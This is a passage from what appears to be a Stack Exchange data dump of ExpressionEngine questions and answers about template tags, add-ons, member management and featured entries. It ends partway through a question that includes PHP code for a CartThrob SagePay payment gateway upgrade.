  <row Id="30088" PostTypeId="2" ParentId="30084" CreationDate="2015-02-18T22:43:08.197" Score="1" Body="&lt;p&gt;The other two big names in EE ecommerce are &lt;a href=&quot;https://www.exp-resso.com&quot; rel=&quot;nofollow&quot;&gt;Expresso Store&lt;/a&gt; and &lt;a href=&quot;http://www.brilliantretail.com&quot; rel=&quot;nofollow&quot;&gt;Brilliant Retail&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store has recently been taken over by DevDemon and is being actively developed by them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BR is also still in active development, but does things a little differently from Store and CT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helpfully, BR has a &lt;a href=&quot;http://www.brilliantretail.com/tour&quot; rel=&quot;nofollow&quot;&gt;demo store&lt;/a&gt; online to test (front end and back end). From my experience, if this fits closely, functionality-wise, with what you want to do, then BR is probably a good fit and it's possible to get up and running quickly. However, be aware that trying to do anything differently from the way BR is set up can be an exercise in frustration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need something with more flexibility or outside of what BR offers, then I would suggest looking at Store.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-02-18T22:43:08.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30089" PostTypeId="2" ParentId="30081" CreationDate="2015-02-19T01:18:24.260" Score="0" Body="&lt;p&gt;Based on your response above, it sounds like this custom field hasn't been implemented in your templates. Go to Admin &gt; Channel Administration &gt; Channel Fields to find the variable name for this field. Then go to Design &gt; Template Manager and type the variable's name into the search field. That will show you which templates, if any, it's on, which should let you drill down further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you will likely be looking for, depending on how the person who built the site implemented it, is something like this (assuming the variable name &lt;code&gt;custom_css&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if custom_css != ''}&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;{custom_css}&amp;lt;/style&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this is might be a different location from the site's main style tag, which is probably defined in a layout or embedded template that is used site-wide for the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of your HTML.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-02-19T01:18:24.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30090" PostTypeId="2" ParentId="11725" CreationDate="2015-02-19T01:31:22.287" Score="0" Body="&lt;p&gt;I ended up tapping into &lt;a href=&quot;http://www.solspace.com/docs/favorites/form/&quot; rel=&quot;nofollow&quot;&gt;Solspace Favorites&lt;/a&gt; (was already using it for actual favourites). I then created a new &lt;a href=&quot;https://bitbucket.org/d69/readunread/overview&quot; rel=&quot;nofollow&quot;&gt;module/extension&lt;/a&gt; that tapped into Solspace Favorites hooks and DB – on either a new entry/comment the module/extension would: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Delete all entries in the Favorite collection where the entry_id = entry_id and the collection = 'read/unread' collection&lt;/li&gt;&#xA;&lt;li&gt;Create array of members active in the last X weeks&lt;/li&gt;&#xA;&lt;li&gt;Loop through active members array and add entries for the members into Favorites Collection = 'read/unread' &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With that I can spit out a list of entries using normal &lt;code&gt;exp:channel:entries&lt;/code&gt; tag and using the Solspace Favorites tags &lt;code&gt;{exp:favorites:info collection=&quot;Read-Unread&quot; entry_id=&quot;{entry_id}&quot;}class=&quot;u-not-read&quot;{/exp:favorites:info}&lt;/code&gt;see if any entry is 'Favorited' OR effectively 'unread'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user visits an entry - there is a module tag that simply passes the entries ID to the module and it deletes the members entry from the Solspace Favorites table where entry_id, member_id and collection are all equal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the EE community, special thanks to &lt;a href=&quot;https://twitter.com/@iain&quot; rel=&quot;nofollow&quot;&gt;@iain&lt;/a&gt;, &lt;a href=&quot;https://mijingo.com/products/screencasts/how-to-develop-expressionengine-add-on/&quot; rel=&quot;nofollow&quot;&gt;@mjingo&lt;/a&gt; + &lt;a href=&quot;https://twitter.com/@low&quot; rel=&quot;nofollow&quot;&gt;@low&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-19T01:31:22.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30091" PostTypeId="2" ParentId="28739" CreationDate="2015-02-19T01:45:35.737" Score="0" Body="&lt;p&gt;Ended up using the following hooks in a custom &lt;a href=&quot;https://bitbucket.org/d69/readunread/overview&quot; rel=&quot;nofollow&quot;&gt;module/extension&lt;/a&gt; that requires Solspace Favorites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Module: markasread&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:readunread:markasread entryID=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Deletes the entry from Solspace Favorites table where entry_id, member_id and Collection = true.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;channel_form_submit_entry_end()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Gathers active members in the last X days array, grabs entry_id + writes to Solspace Favorites module/DB for active members array.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;insert_comment_end()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Same as above but DELETES all related entries in the Favourites table prior to inserting.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When members are deleted or entries deleted, Solspace Favorites takes over with its in-built routines.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-19T01:45:35.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30093" PostTypeId="1" CreationDate="2015-02-19T06:42:42.893" Score="0" ViewCount="54" Body="&lt;p&gt;&lt;br&gt;&#xA;so i have a page that is slow to load.&#xA;I have tried various alterations to this code but nothing has seemed to work for me. I read that 'Switchee' may be a solution, but i am not so sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have six 'product' channels, and within each there is one field that asks 'is this a new product?' It is a dropdown field, with 'NO' being the default. If a new entry in any channel is created, and the user selects 'YES' for this field, the product will appear on the 'What's New' page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;{exp:channel:entries channel=&quot;fprod&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;}&lt;br&gt;&#xA;        {if f_wn == &quot;YES&quot;}&lt;br&gt;&#xA;            Product title, thumbnail, category (brand), etc.&lt;br&gt; &#xA;        {/if}&lt;br&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;bprod&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot;}&lt;br&gt;&#xA;        {if b_wn == &quot;YES&quot;}&lt;br&gt;&#xA;            Product title, thumbnail, category (brand), etc.&lt;br&gt; &#xA;        {/if}&lt;br&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;nprod&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot;}&lt;br&gt;&#xA;        {if n_wn == &quot;YES&quot;}&lt;br&gt;&#xA;            Product title, thumbnail, category (brand), etc.&lt;br&gt; &#xA;        {/if}&lt;br&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;hprod&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot;}&lt;br&gt;&#xA;        {if h_wn == &quot;YES&quot;}&lt;br&gt;&#xA;            Product title, thumbnail, category (brand), etc.&lt;br&gt; &#xA;        {/if}&lt;br&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;eprod&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot;}&lt;br&gt;&#xA;        {if e_wn == &quot;YES&quot;}&lt;br&gt;&#xA;            Product title, thumbnail, category (brand), etc.&lt;br&gt; &#xA;        {/if}&lt;br&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;aprod&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot;}&lt;br&gt;&#xA;        {if a_wn == &quot;YES&quot;}&lt;br&gt;&#xA;            Product title, thumbnail, category (brand), etc.&lt;br&gt; &#xA;        {/if}&lt;br&gt;&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine but apart from the slow load time, the client wants the most recently added 'new' product to appear at the top of the page (not just at the top of its related channel results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please help in improving this, if possible? Would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2015-02-19T12:48:39.500" Title="Slow loading, multiple conditionals from multiple channels + sorting solution?" Tags="|switchee|sort|loading-time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30094" PostTypeId="2" ParentId="30093" CreationDate="2015-02-19T06:55:19.140" Score="1" Body="&lt;p&gt;Without going to a custom query you could try one master &lt;code&gt;exp:channel:entries&lt;/code&gt; tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fprod|brod|drod|etc&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;&#xA;orderby=&quot;entry_date&quot;}&#xA;{if f_wn == &quot;YES&quot;}&#xA;Product title, thumbnail, category (brand), etc.&#xA;{/if}&#xA;{if p_wn == &quot;YES&quot;}&#xA;Product title, thumbnail, category (brand), etc.&#xA;{/if}&#xA;{if d_wn == &quot;YES&quot;}&#xA;Product title, thumbnail, category (brand), etc.&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically we're doing away with multiple channel calls and rolling them into one call. As well as ordering the results by &quot;entry_date&quot;. You can set mutlipe sort and order values as per &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id45&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to retain separate channel calls then a custom query would be quicker – assuming you're not wanting to retrieve every single field in an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does however not group your entries by any channel associated data.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-19T06:55:19.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30095" PostTypeId="1" AcceptedAnswerId="30099" CreationDate="2015-02-19T12:39:14.227" Score="2" ViewCount="118" Body="&lt;p&gt;I have a couple of members of a site that have recently left the company. If I delete the members will this also remove all entries that were created/edited by them? I want to keep anything they would have entered into the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an older version of EE v2.5.2 with Multiple Site Manager&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2015-02-19T13:26:50.310" Title="What happens if I delete a member, does it delete their entries?" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30096" PostTypeId="2" ParentId="30093" CreationDate="2015-02-19T12:48:39.500" Score="1" Body="&lt;p&gt;You could achieve this with &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;, the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt; and enabling &lt;code&gt;smart_field_search&lt;/code&gt;. That will apply the &lt;code&gt;search:field&lt;/code&gt; parameters &lt;em&gt;only&lt;/em&gt; to the channels the field is assigned to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    channel=&quot;aprod|bprod|cprod&quot;&#xA;    search:a_wn=&quot;=YES&quot;&#xA;    search:b_wn=&quot;=YES&quot;&#xA;    search:c_wn=&quot;=YES&quot;&#xA;    smart_field_search=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-19T12:48:39.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30097" PostTypeId="2" ParentId="30074" CreationDate="2015-02-19T13:04:23.487" Score="2" Body="&lt;p&gt;I had a similar issue in the past moving a large amount of content from one field to another in a different channel.&#xA;I used MySQL to achieve this, unfortunately I'm not too good with MySQL and it was some time ago and I can't find the link I used the query from but hopefully this points you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most importantly make sure you have a backup!&lt;/li&gt;&#xA;&lt;li&gt;create the new field&lt;/li&gt;&#xA;&lt;li&gt;go to the Database, find out field ids etc (you will need the field_id and field_ft from what I remember&lt;/li&gt;&#xA;&lt;li&gt;use a mysql command to copy the data of the WYGWAM field to your new field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-02-19T13:04:23.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30099" PostTypeId="2" ParentId="30095" CreationDate="2015-02-19T13:26:50.310" Score="1" Body="&lt;p&gt;When you delete a member, ExpressionEngine presents you with the option to either delete all of their entries, or reassign them all to a different member.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-19T13:26:50.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30100" PostTypeId="1" AcceptedAnswerId="30101" CreationDate="2015-02-19T14:23:07.983" Score="1" ViewCount="327" Body="&lt;p&gt;I have several channels of content and wish to flag selected entries to display on a section in the homepage. I know Joomla has this built into each article, and wondered how I would achieve this with EE?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-02-19T21:15:38.727" Title="How to feature entries on homepage" Tags="|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30101" PostTypeId="2" ParentId="30100" CreationDate="2015-02-19T14:32:47.683" Score="1" Body="&lt;p&gt;Create a channel field that marks the entry as being eligible for &quot;featured&quot; (a simple Yes/No dropdown should do). Then in your template, simply grab the entries with a channel entries tag that have the featured field set to Yes. You can also use additional parameters such as orderby=&quot;random&quot; and placing limits to how many items get returned (and set dynamic=&quot;no&quot; as well).&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-02-19T14:32:47.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30102" PostTypeId="2" ParentId="30100" CreationDate="2015-02-19T14:34:15.260" Score="1" Body="&lt;p&gt;You can make entries &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/content/publish.html#make-entry-sticky&quot; rel=&quot;nofollow noreferrer&quot;&gt;sticky&lt;/a&gt; to make the stick on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And follow &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12761/is-there-a-way-to-only-show-sticky-entries&quot;&gt;answers in this thread&lt;/a&gt; to display only sticky entries on your homepage (or whereever)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is native, I would personally just add a custom checkbox field 'display_on_homepage' and fetch entries with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:channel:entries search:display_on_homepage=&quot;y&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-02-19T14:34:15.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30103" PostTypeId="1" CreationDate="2015-02-19T14:38:51.290" Score="0" ViewCount="58" Body="&lt;p&gt;Does anyone know if there is a way to do what Restricted Area for EE1 does but for EE2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/restricted-area&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/restricted-area&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a hugely important feature that would allow members to be given specific permissions not only based on which group they belong to, but also on a member specific level as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, the user belongs to Group A which has only access to Channel A. Another user belongs to Group B which has access to Channel A, Channel B and Channel C. This feature would allow another user from Group A to also have access to Channel B only (alongside their Group A permission of Channel A).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-02-20T10:29:49.960" Title="Restricted Area for EE2" Tags="|members|member-management|permissions|restricted-area|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30104" PostTypeId="2" ParentId="30103" CreationDate="2015-02-19T14:49:44.223" Score="0" Body="&lt;p&gt;I believe you can restrict channel access on per-group basis natively in member group preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To restrict access to individual entries, or on per-member basis, consider &lt;a href=&quot;https://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/member-categories&quot; rel=&quot;nofollow&quot;&gt;Member Categories&lt;/a&gt; might also be helpful if you need to restrict access on category basis.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-19T14:49:44.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30105" PostTypeId="2" ParentId="30100" CreationDate="2015-02-19T15:07:44.343" Score="2" Body="&lt;p&gt;Another option would be to use the status parameter on the channel entries tag. If you were to add a status of featured you could then do something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channen:entries channel=&quot;channrl1|channel2&quot; status=&quot;featured&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the homepage. You would just need to make sure that you declare both open and featured on any entry tags you wanted both types to appear in because the entry tag only displays open by default.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channen:entries channel=&quot;channel1&quot; status=&quot;open|featured&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on the amount of entires that you have in your EE install using the search parameter (as some of the other commenters have suggested) on the channel entries tag can cause a performance issue. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-02-19T21:15:38.727" LastActivityDate="2015-02-19T21:15:38.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30106" PostTypeId="1" AcceptedAnswerId="30323" CreationDate="2015-02-19T15:33:12.420" Score="1" ViewCount="423" Body="&lt;p&gt;I've been trying (without success) to upgrade the Cartthrob_sage_s.php gateway on Cartthrob for SagePay Europe Offsite, in order to utilise the 3.00 protocol (upgrading from 2.23. I'm running latest editions of EE (2.9.2) and Cartthrob (2.61).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On just editing the VPSprotocol field to 3.00 in the 3 locations in file, the gateway progresses to processing of payment, then returns a VPSsignature error (which I expected, since other fields are listed as mandatory in the gneeric upgrade guidelines from Sage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On attempting to add BankAuthCode, DeclineCode and ExpiryDate to my response as part of the generated MD5, I still get a mismatch between that and the VPS signature generated by Sage (VPS signature error as above). I've established I must be missing something, but I'm not sure what - I double checked and removing the new fields and restoring protocol to 2.23 makes the gateway function again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached file contents for clarity (apologies for length):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php class Cartthrob_sage_s extends Cartthrob_payment_gateway {&#xA;public $title = 'sage_server_title';&#xA;public $affiliate = 'sage_affiliate'; &#xA;public $overview = 'sage_overview';&#xA;public $language_file = TRUE;&#xA;public $settings = array(&#xA;    array(&#xA;        'name' =&amp;gt; 'sage_payment_page_style', &#xA;        'short_name' =&amp;gt; 'profile', &#xA;        'type' =&amp;gt; 'radio',  &#xA;        'default' =&amp;gt; 'NORMAL', &#xA;        'options' =&amp;gt; array(&#xA;            'NORMAL' =&amp;gt; 'sage_normal',&#xA;            'LOW' =&amp;gt; 'sage_minimal_formatting'&#xA;            ),&#xA;    ),&#xA;    array(&#xA;        'name' =&amp;gt;  'mode',&#xA;        'short_name' =&amp;gt; 'mode', &#xA;        'type' =&amp;gt; 'radio',  &#xA;        'default' =&amp;gt; 'test', &#xA;        'options' =&amp;gt; array(&#xA;            'simulator' =&amp;gt; 'simulator',&#xA;            'test' =&amp;gt; 'test',&#xA;            'live' =&amp;gt; 'live'&#xA;            ),&#xA;    ),&#xA;    array(&#xA;        'name' =&amp;gt; 'sage_vendor_name',&#xA;        'short_name' =&amp;gt; 'vendor_name', &#xA;        'type' =&amp;gt; 'text',&#xA;    ),&#xA;);&#xA;&#xA;public $required_fields = array(&#xA;    'first_name',&#xA;    'last_name',&#xA;    'address',&#xA;    'city',&#xA;    'zip',&#xA;    'country_code'&#xA;);&#xA;&#xA;&#xA;public $fields = array(&#xA;    'first_name'           ,&#xA;    'last_name'            ,&#xA;    'address'              ,&#xA;    'address2'             ,&#xA;    'city'                 ,&#xA;    'state'                ,&#xA;    'zip'                  ,&#xA;    'country_code'         ,&#xA;    'shipping_first_name'  ,&#xA;    'shipping_last_name'   ,&#xA;    'shipping_address'     ,&#xA;    'shipping_address2'    ,&#xA;    'shipping_city'        ,&#xA;    'shipping_state'       ,&#xA;    'shipping_zip'         ,&#xA;    'shipping_country_code',&#xA;    'phone'                ,&#xA;    'email_address'        ,&#xA;    ); &#xA;&#xA;public $hidden = array('description','currency_code');&#xA;&#xA;/**&#xA; * process_payment&#xA; *&#xA; * @param string $credit_card_number &#xA; * @return mixed | array | bool An array of error / success messages  is returned, or FALSE if all fails.&#xA; * @author Chris Newton&#xA; * @access public&#xA; * @since 1.0.0&#xA; */&#xA;public function charge($credit_card_number)&#xA;{&#xA;&#xA;    if ($this-&amp;gt;plugin_settings('mode') == &quot;test&quot;)&#xA;    {&#xA;        $this-&amp;gt;_host = &quot;https://test.sagepay.com/gateway/service/vspserver-register.vsp&quot;;&#xA;        $this-&amp;gt;tokenrebillhost = &quot;https://test.sagepay.com/gateway/service/vspdirect-register.vsp&quot;; &#xA;        $this-&amp;gt;tokenhost = &quot;https://test.sagepay.com/gateway/service/token.vsp&quot;; &#xA;&#xA;    }&#xA;    elseif ($this-&amp;gt;plugin_settings('mode') == &quot;simulator&quot;)&#xA;    {&#xA;        $this-&amp;gt;_host = &quot;https://test.sagepay.com/Simulator/VSPServerGateway.asp?Service=VendorRegisterTx&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        $this-&amp;gt;tokenrebillhost = &quot;https://live.sagepay.com/gateway/service/vspdirect-register.vsp&quot;; &#xA;        $this-&amp;gt;tokenhost = &quot;https://live.sagepay.com/gateway/service/token.vsp&quot;; &#xA;&#xA;        $this-&amp;gt;_host = &quot;https://live.sagepay.com/gateway/service/vspserver-register.vsp&quot;;&#xA;    }&#xA;&#xA;    $auth['authorized']     =   FALSE; &#xA;    $auth['declined']       =   FALSE; &#xA;    $auth['failed']         =   TRUE; &#xA;    $auth['error_message']  =   NULL; &#xA;    $auth['transaction_id'] =   NULL;&#xA;&#xA;    /*&#xA;    // find out if this needs SSL &#xA;    if (!function_exists('openssl_open'))&#xA;    {&#xA;        $auth['error_message']  = $this-&amp;gt;lang('gateway_requires_ssl'); &#xA;        return $auth;&#xA;    }&#xA;    */&#xA;&#xA;    $basket=&quot;&quot;; &#xA;&#xA;    if ($this-&amp;gt;order('items'))&#xA;    {&#xA;        $basket = (count($this-&amp;gt;order('items'))+2).&quot;:&quot;; &#xA;&#xA;        foreach ($this-&amp;gt;order('items') as $row_id =&amp;gt; $item)&#xA;        {&#xA;            $basket .= str_replace(&quot;:&quot;,&quot;&quot;,$item['title']) .&quot;:&quot;;&#xA;            $basket .= $item['quantity'] .&quot;:&quot;;&#xA;            $basket .= number_format($item['price'],2,'.','').&quot;:&quot;;&#xA;            $basket .= &quot;:&quot;;&#xA;            $basket .= number_format($item['price'],2,'.','').&quot;:&quot;;&#xA;            $basket .= number_format(($item['price']*$item['quantity']),2,'.','').&quot;:&quot;;&#xA;&#xA;        }&#xA;        $basket .= 'Shipping:----:----:----:----:';&#xA;        $basket .= number_format($this-&amp;gt;order('shipping'), 2, '.', '').&quot;:&quot;;&#xA;        $basket .= 'VAT/Tax:----:----:----:----:';&#xA;        $basket .= number_format($this-&amp;gt;order('tax'), 2, '.', '');&#xA;    }&#xA;&#xA;    if (strlen($basket) &amp;gt; 7499)&#xA;    {&#xA;        // the basket can't be over 7500, and has to be formatted a specific way. We'll remove it if it's too long.&#xA;        $basket = &quot;&quot;; &#xA;    }&#xA;&#xA;    $country_code = $this-&amp;gt;order('country_code') ? $this-&amp;gt;alpha2_country_code($this-&amp;gt;order('country_code')) : &quot;GB&quot;; &#xA;    $shipping_country_code = $this-&amp;gt;order('shipping_country_code') ? $this-&amp;gt;alpha2_country_code($this-&amp;gt;order('shipping_country_code')) : $country_code; &#xA;&#xA;    $post_array = array(&#xA;        'VPSProtocol'       =&amp;gt; &quot;3.00&quot;,&#xA;        'TxType'                =&amp;gt; &quot;PAYMENT&quot;,&#xA;        'Website'           =&amp;gt; &quot;eqvvs.co.uk&quot;,&#xA;        'Vendor'                =&amp;gt; $this-&amp;gt;plugin_settings('vendor_name'),&#xA;        'VendorTXCode'      =&amp;gt; $this-&amp;gt;order('entry_id').&quot;_&quot;.time(), // needs a unique ID for this transaction. &#xA;        'Amount'                =&amp;gt; number_format($this-&amp;gt;total(),2,'.',''),&#xA;        'Currency'          =&amp;gt; ($this-&amp;gt;order('currency_code') ? $this-&amp;gt;order('currency_code') : &quot;GBP&quot;),&#xA;        'Description'       =&amp;gt; substr(($this-&amp;gt;order('description') ? $this-&amp;gt;order('description') : &quot;Purchase from &quot;.$this-&amp;gt;order('site_name')), 0, 40),&#xA;        'NotificationURL'   =&amp;gt; $this-&amp;gt;response_script(ucfirst(get_class($this))),&#xA;        'CustomerEMail'     =&amp;gt; $this-&amp;gt;order('email_address'),&#xA;        'BillingFirstnames' =&amp;gt; substr($this-&amp;gt;order('first_name'), 0, 20),&#xA;        'BillingSurname'        =&amp;gt; substr($this-&amp;gt;order('last_name'),0,20),&#xA;        'BillingAddress1'   =&amp;gt; substr($this-&amp;gt;order('address'), 0, 100),&#xA;        'BillingAddress2'   =&amp;gt; substr($this-&amp;gt;order('address2'), 0, 100),&#xA;        'BillingCity'       =&amp;gt; substr($this-&amp;gt;order('city'), 0, 40),&#xA;        'BillingPostCode'   =&amp;gt; substr($this-&amp;gt;order('zip'), 0, 10),&#xA;        'BillingCountry'        =&amp;gt; $country_code,&#xA;        'BillingState'      =&amp;gt; &quot;&quot;,&#xA;        'BillingPhone'      =&amp;gt; preg_replace('/[^0-9-]/', '', $this-&amp;gt;order('phone')),&#xA;        'DeliveryFirstnames'    =&amp;gt; substr(($this-&amp;gt;order('shipping_first_name') ? $this-&amp;gt;order('shipping_first_name') : $this-&amp;gt;order('first_name')), 0, 20),&#xA;        'DeliverySurname'   =&amp;gt; substr(($this-&amp;gt;order('shipping_last_name') ? $this-&amp;gt;order('shipping_last_name') : $this-&amp;gt;order('last_name')),0,20),&#xA;        'DeliveryAddress1'  =&amp;gt; substr(($this-&amp;gt;order('shipping_address') ? $this-&amp;gt;order('shipping_address') : $this-&amp;gt;order('address')), 0, 100),&#xA;        'DeliveryAddress2'  =&amp;gt; substr(($this-&amp;gt;order('shipping_address2') ? $this-&amp;gt;order('shipping_address2') : $this-&amp;gt;order('address2')), 0, 100),&#xA;        'DeliveryCity'      =&amp;gt; substr(($this-&amp;gt;order('shipping_city') ? $this-&amp;gt;order('shipping_city') : $this-&amp;gt;order('city')), 0, 40),&#xA;        'DeliveryPostCode'  =&amp;gt; substr(($this-&amp;gt;order('shipping_zip') ? $this-&amp;gt;order('shipping_zip') : $this-&amp;gt;order('zip')), 0, 10),&#xA;        'DeliveryCountry'   =&amp;gt; $shipping_country_code,&#xA;        'DeliveryState'     =&amp;gt; &quot;&quot;,&#xA;        'DeliveryPhone'     =&amp;gt; preg_replace('/[^0-9-]/', '', $this-&amp;gt;order('phone')),&#xA;        'Basket'                =&amp;gt; $basket  &#xA;    ); &#xA;&#xA;    if (strlen($post_array['NotificationURL']) &amp;gt; 250)&#xA;    {&#xA;        $resp = array(&#xA;             'authorized'       =&amp;gt;  FALSE,&#xA;             'error_message'    =&amp;gt;  